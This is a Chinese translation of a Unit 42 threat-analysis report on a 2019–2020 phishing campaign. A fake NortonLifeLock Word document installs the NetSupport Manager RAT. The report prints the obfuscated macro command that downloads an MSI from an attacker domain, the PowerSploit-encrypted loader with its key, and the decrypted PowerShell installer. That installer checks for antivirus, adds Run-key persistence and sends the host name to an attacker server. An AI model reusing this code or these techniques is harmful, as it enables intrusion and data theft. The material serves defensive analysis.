2020年1月,Unit 42在一起网络钓鱼活动中发现了一份伪装成NortonLifelock公司(前身为赛门铁克)的恶意Word文档,用于分发RAT工具NetSupport Manager。NetSupport Manager是一款正规合法的商业远程访问工具,从2018年起就有攻击者将其用于恶意活动中获取未经授权的访问。
此次行动中,攻击者利用了能逃避动态和静态分析的规避技术,同时利用PowerShell PowerSploit框架来执行恶意文件活动的安装。
介绍
2020年1月上旬,Cortex XDR™引擎检测到一个执行可疑的批处理文件的winword.exe进程。
下图是攻击者所使用的加密文档,要求用户输入密码以启用宏。
文档样本SHA256:E9440A5D2DFE2453AE5B69A9C096F8D4CF9E059D469C5DE67380D76E02DD6975
图1.伪装的恶意文件
用户打开文档并单击 “Enable Content”后将执行宏,并向用户显示一个密码对话框。
图2.密码对话框
密码可能在向受害者发送的钓鱼邮件中提供,仅接受字母“ c”或“ C”,如下面的宏代码所示。宏代码SHA256:68ca2458e0db9739258ce9e22aadd2423002b2cc779033d78d6abec1db534ac2
如果用户输入了错误的密码,则会显示一条错误消息,并显示处理消息“done” 。只有输入正确的密码后恶意活动才会发生。
收到正确的密码后,宏将继续执行代码并构建以下命令字符串:
cmD /c EChO|SE^t /p=" M^siexe">%temp%\alpaca.bat&EcHo|s^et /p="c " >>%temp%\alpaca.bat&EcHo|s^et /p="^/i" >>%temp%\alpaca.bat&EcHo|s^et /p=" http^:^/^/^quickwaysignstx[.]com/view.php ">>%temp%\alpaca.bat&EcHo|s^et /p=" ^/q &exit">>%temp%\alpaca.bat&%temp%\alpaca.bat&avvfge 2
宏使用VBA表单上的标签来混淆所有字符串,标签包含了两个字符,将这些字符连在一起来构造最终命令,进而在受害者上下载并执行RAT。
命令字符串通过VBA shell函数执行,包括以下操作:
· 通过/ c参数启动cmd.exe –执行命令并退出
· 在受害者%temp%目录中构造一个名为alpaca.bat的批处理文件
· 执行新创建的批处理脚本
批处理脚本使用msiexec,它是Windows安装程序服务的一部分,用于从域中下载和安装Microsoft中间语言(MSIL)二进制文件到机器:
quickwaysignstx[.]com/view.php
提供view.php的服务器似乎会过滤用户代理字符串,使用浏览器访问该站点将显示下图。
图3.在quickwaysignstx [.] com上对view.php的HTTP GET请求
如果请求中的用户代理字符串是Windows Installer,则返回一个MSI文件。这个用户代理字符串是msiexec命令的一部分,进而支持只在使用msiexec时下载有效负载。MSI有效负载(SHA256: 41D27D53C5D41003BC9913476A3AFD3961B561B120EE8BFDE327A5F0D22A040A)来自www.exemsi [.] com,名为MPZMZQYVXO patch version 5.1。
下载后,MSI将使用/q参数执行,以禁止用户使用任何Windows对话框。在2019年11月报道过类似的活动。
MSI在受害者的%temp%目录中安装一个名为REgistryMPZMZQYVXO.ps1的PowerShell脚本。
function HYTNKJSDEH([String] $YTVRJKIEIR, [String] $BORBFDSYOP) { $DHPFYCOKLM = “”; $encoding = New-Object System.Text.ASCIIEncoding; $KULVWNXDPId = $encoding.GetBytes("DJZGVUGVHDMNIGZD"); $derivedPass = New-Object System.Security.Cryptography.PasswordDeriveBytes($YTVRJKIEIR, $encoding.GetBytes($BORBFDSYOP), "SHA1", 2); [Byte[]] $ESFLDIMUEO = $derivedPass.GetBytes(16); $LCZJFEXHXR = New-Object System.Security.Cryptography.TripleDESCryptoServiceProvider; $LCZJFEXHXR.Mode = [System.Security.Cryptography.CipherMode]::CBC; $JOVGMJCIKY = $LCZJFEXHXR.CreateDecryptor($ESFLDIMUEO, $KULVWNXDPId); $LBUWDFHHMZ = New-Object System.IO.MemoryStream($DHPFYCOKLMa, $True); $ZSKXKODPKK = New-Object System.Security.Cryptography.CryptoStream($LBUWDFHHMZ, $JOVGMJCIKY, [System.Security.Cryptography.CryptoStreamMode]::Read); $STDVLFIUQN = $ZSKXKODPKK.Read($JHTZWEZBUW, 0, $JHTZWEZBUW.Length); $LBUWDFHHMZ.Close(); $ZSKXKODPKK.Close(); $LCZJFEXHXR.Clear(); if (($JHTZWEZBUW.Length -gt 3) -and ($JHTZWEZBUW[0] -eq 0xEF) -and ($JHTZWEZBUW[1] -eq 0xBB) -and ($JHTZWEZBUW[2] -eq 0xBF)) { $h = $JHTZWEZBUW[3..($JHTZWEZBUW.Length-1)]; } return $encoding.GetString($JHTZWEZBUW).TrimEnd([Char] 0); } $TYCNJNUWWG = HYTNKJSDEH "ew9p5rzlmvcf32b6i0oun8q47tag1xhs" "7ohp9z481qem6ykbdu2argt5lj3fcsi0"; Invoke-Expression $TYCNJNUWWG;
存储在REgistryMPZMZQYVXO.ps1中的加密数据块是另一个PowerShell脚本,负责将NetSupport Manager RAT安装到受害者上并设置持久性。
PowerShell脚本看上去是用PowerSploit框架中的开源脚本Out-EncryptedScript.ps1生成的。 它包含一个通过base64加密的数据块,并使用密码块链(CBC)的加密模式对TripleDES进行了加密。
此特定样本的解密密码和初始化向量(IV)为:
· 解密密钥= 0xA7A15B277A74CD3233B9DF078ABCDE12
· IV = DJZGVUGVHDMNIGZD
应该注意的是,此样本中使用的IV有可能与PowerSploit生成的其他样本不同。此外,由于IV块的大小为8个字节,因此16个字节的IV将被截断为8个字节。 解密后的PowerShell脚本如下所示:
$scriptPath = split-path -parent $MyInvocation.MyCommand.Definition if ($scriptpath -match "avast") {exit} if ($scriptpath -match "Avast") {exit} if ($scriptpath -match "AVG") {exit} if ($scriptpath -match "avg") {exit} function react ( $source, $destination ) { Convert-StringToBinary -InputString $source -FilePath $Destination; # } }#} function Convert-StringToBinary ( $InputString , $FilePath ) { $file= $InputString $data = [System.Convert]::FromBase64String($file) $ms = New-Object System.IO.MemoryStream $ms.Write($data, 0, $data.Length) $ms.Seek(0,0) | Out-Null $cs = New-Object System.IO.Compression.GZipStream($ms, [System.IO.Compression.CompressionMode]::Decompress) $sr = New-Object System.IO.StreamReader($cs) $t = $sr.readtoend()#|out-file str.txt $ByteArray = [System.Convert]::FromBase64String($t); [System.IO.File]::WriteAllBytes($FilePath, $ByteArray); } function Install { $file1 = “”; $file2 = “”; $file3 = “”; $file4 = “”; $file5 = “”; $file6 = “”; $file7 = “”; $file8 = “”; $file9 = “”; $file10 = “”; $file11 = “”; $file12 = “”; $randf=( -join ((0x30..0x39) + ( 0x41..0x5A) + ( 0x61..0x7A) | Get-Random -Count 8 | % {[char]$_}) ) $fpath ="$env:appdata\$randf" mkdir $fpath $clientname="presentationhost.exe" $Source = $file1 $Destination = "$fpath\"+"$clientname" react -source $source -destination $destination $Source = $file2 $Destination = "$fpath\client32.ini" write-host $destination react -source $source -destination $destination $Source = $file3 $Destination = "$fpath\HTCTL32.DLL" react -source $source -destination $destination $Source = $file4 $Destination = "$fpath\msvcr100.dll" react -source $source -destination $destination $Source = $file5 $Destination = "$fpath\nskbfltr.inf" react -source $source -destination $destination $Source = $file6 $Destination = "$fpath\NSM.ini" react -source $source -destination $destination $Source = $file7 $Destination = "$fpath\NSM.lic" react -source $source -destination $destination $Source = $file8 $Destination = "$fpath\pcicapi.dll" react -source $source -destination $destination $Source = $file9 $Destination = "$fpath\PCICHEK.DLL" react -source $source -destination $destination $Source = $file10 $Destination = "$fpath\PCICL32.DLL" react -source $source -destination $destination $Source = $file11 $Destination = "$fpath\remcmdstub.exe" react -source $source -destination $destination $Source = $file12 $Destination = "$fpath\TCCTL32.DLL" react -source $source -destination $destination reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v ServiceDLL /t REG_SZ /d "$fpath\$clientname" /f start-process "$fpath\$clientname" #Start-sleep -s 10 Invoke-WebRequest -Uri "http://afsasdfa33[.]xyz/iplog/lepo.php?hst=$env:computername" $f=get-content $env:temp\insghha4.txt remove-item $env:TEMP\*.ps1 #cmd /c del %temp%\*.ps1 /f #cmd /c del %temp%\*.txt /f remove-item $f } #ShowConsole #rights install;
RAT安装程序PowerShell脚本执行以下操作:
1. 如果目标上正在运行Avast或AVG Antivirus软件,则停止安装;
2. 将组成NetSupport Manager RAT的12个文件安装到%appdata%的随机目录(长度为8个)中,例如c:\users\%username%\Appdata\Roaming\%randomvalue%\;
3. 通过创建以下注册表项并设置持久性:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
名称:ServiceDLL
值:Value: C:\Users\%username% \AppData\Roaming\%randomvalue%\presentationhost.exe’
4. 执行NetSupport Manager RAT Presentationhost.exe;
5. 沉睡10秒钟;
6. 将受害者的计算机名称发送到http://afsasdfa33[.]xyz/iplog/lepo.php?hst=%computername%;
7. afsasdfa33[.]xyz返回的所有数据都以insghha4.txt文件的形式保存在%temp%目录中;
8. 从%temp%目录中删除所有文件扩展名为.ps1的文件;
9. 删除名为insghha4.txt的文件。
一旦启动了NetSupport Manager可执行文件(presentationhost.exe),它就会向geo.netsupportsoftware[.]com发出信标,检索主机的地理位置,然后通过HTTP POST发送到http://94.158.245[.]182/fakeurl.htm。
应当注意,NetSupport Manager的原始名称是client32.exe,为了避免怀疑,名称被更改为presentationhost.exe。发送到目标域的流量示例:
POST http://94.158.245[.]182/fakeurl.htm HTTP/1.1 User-Agent: NetSupport Manager/1.3 Content-Type: application/x-www-form-urlencoded Content-Length: 22 Host: 94.158.245[.]182 Connection: Keep-Alive CMD=POLL INFO=1 ACK=1
收到回复:
HTTP/1.1 200 OK Server: NetSupport Gateway/1.6 (Windows NT) Content-Type: application/x-www-form-urlencoded Content-Length: 60 Connection: Keep-Alive
从受害者发送回的加密数据:
POST http://94.158.245[.]182/fakeurl.htm HTTP/1.1 User-Agent: NetSupport Manager/1.3 Content-Type: application/x-www-form-urlencoded Content-Length: 244 Host: 94.158.245[.]182 Connection: Keep-Alive CMD=ENCD ES=1 DATA=u.2h.r..4.]..%y-…..=I…D3.W..i.7?….=@….F.f….&t.[..6ra..L..Tzg..... ..U.z4.]..%y-A9H=n .:!."Pfd]U,[.(...f=I.....W.p..RHz.....#..@.....>|.?...R...s.nt.G..=}\[email protected][email protected]……..M.6..
延伸
通过其他信息,可以确认相关活动的时间范围为2019年11月初至2020年1月底。
在11月的上半月,相关活动都使用了电子邮件附件,其中包含目标公司曾公开的关联人姓名或使用公众人物的姓名,大多数被提及的公众人物都属于电影或出版行业,邮件都是随机发送的,主题是信用卡相关内容。但从11月底到2020年1月,邮件附件发生了变化,改名为< target company website >.doc并使用在观察到的活动一天内注册的域从电子邮件地址发送。电子邮件主题包含同样的趋势,重复使用与退款相关的主题,以及交易和订单查询。虽然不清楚该活动的总体动机是什么,但这些更改可能会增加收件人打开电子邮件附件的可能性,并表明希望访问目标网络。
相关指标见附录。
本文翻译自:https://unit42.paloaltonetworks.com/cortex-xdr-detects-netsupport-manager-rat-campaign/如若转载,请注明原文地址: